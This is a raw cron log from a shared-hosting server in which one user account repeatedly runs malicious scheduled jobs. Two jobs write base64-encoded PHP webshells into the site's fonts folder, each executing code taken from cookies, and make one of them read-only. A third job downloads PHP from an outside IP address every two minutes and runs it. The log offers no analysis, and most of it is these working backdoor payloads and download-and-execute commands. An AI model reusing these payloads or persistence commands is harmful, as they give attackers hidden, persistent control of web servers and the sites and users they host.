Sep  1 02:23:01 ip-184-168-122-23 CROND[32541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:23:01 ip-184-168-122-23 CROND[32543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:23:01 ip-184-168-122-23 CROND[32545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:23:01 ip-184-168-122-23 CROND[32544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:24:01 ip-184-168-122-23 CROND[32625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:24:01 ip-184-168-122-23 CROND[32628]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  1 02:24:01 ip-184-168-122-23 CROND[32627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:24:01 ip-184-168-122-23 CROND[32632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:24:01 ip-184-168-122-23 CROND[32631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:24:01 ip-184-168-122-23 CROND[32633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:25:01 ip-184-168-122-23 CROND[383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:25:01 ip-184-168-122-23 CROND[386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:25:01 ip-184-168-122-23 CROND[385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:25:01 ip-184-168-122-23 CROND[387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:25:02 ip-184-168-122-23 CROND[391]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 02:25:02 ip-184-168-122-23 CROND[392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:25:02 ip-184-168-122-23 CROND[393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:26:01 ip-184-168-122-23 CROND[493]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  1 02:26:01 ip-184-168-122-23 CROND[495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:26:01 ip-184-168-122-23 CROND[496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:26:01 ip-184-168-122-23 CROND[503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:26:01 ip-184-168-122-23 CROND[505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:26:01 ip-184-168-122-23 CROND[508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  1 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  1 02:27:01 ip-184-168-122-23 CROND[927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:27:01 ip-184-168-122-23 CROND[929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:27:01 ip-184-168-122-23 CROND[930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:27:01 ip-184-168-122-23 CROND[932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:28:01 ip-184-168-122-23 CROND[1081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:28:01 ip-184-168-122-23 CROND[1083]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:28:01 ip-184-168-122-23 CROND[1085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:28:01 ip-184-168-122-23 CROND[1086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:28:01 ip-184-168-122-23 CROND[1084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:29:02 ip-184-168-122-23 CROND[1208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:29:02 ip-184-168-122-23 CROND[1212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:29:02 ip-184-168-122-23 CROND[1211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:29:02 ip-184-168-122-23 CROND[1210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:30:01 ip-184-168-122-23 CROND[1314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:30:01 ip-184-168-122-23 CROND[1316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:30:01 ip-184-168-122-23 CROND[1317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:30:01 ip-184-168-122-23 CROND[1320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:30:01 ip-184-168-122-23 CROND[1315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:30:01 ip-184-168-122-23 CROND[1322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:30:01 ip-184-168-122-23 CROND[1319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:30:01 ip-184-168-122-23 CROND[1321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:31:02 ip-184-168-122-23 CROND[1445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:31:02 ip-184-168-122-23 CROND[1446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:31:02 ip-184-168-122-23 CROND[1449]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:31:02 ip-184-168-122-23 CROND[1450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:31:02 ip-184-168-122-23 CROND[1451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:32:02 ip-184-168-122-23 CROND[1531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:32:02 ip-184-168-122-23 CROND[1532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:32:02 ip-184-168-122-23 CROND[1534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:32:02 ip-184-168-122-23 CROND[1536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:32:02 ip-184-168-122-23 CROND[1535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:33:01 ip-184-168-122-23 CROND[1703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:33:01 ip-184-168-122-23 CROND[1705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:33:01 ip-184-168-122-23 CROND[1707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:33:01 ip-184-168-122-23 CROND[1709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:34:01 ip-184-168-122-23 CROND[1801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:34:01 ip-184-168-122-23 CROND[1803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:34:01 ip-184-168-122-23 CROND[1804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:34:01 ip-184-168-122-23 CROND[1806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:34:01 ip-184-168-122-23 CROND[1805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
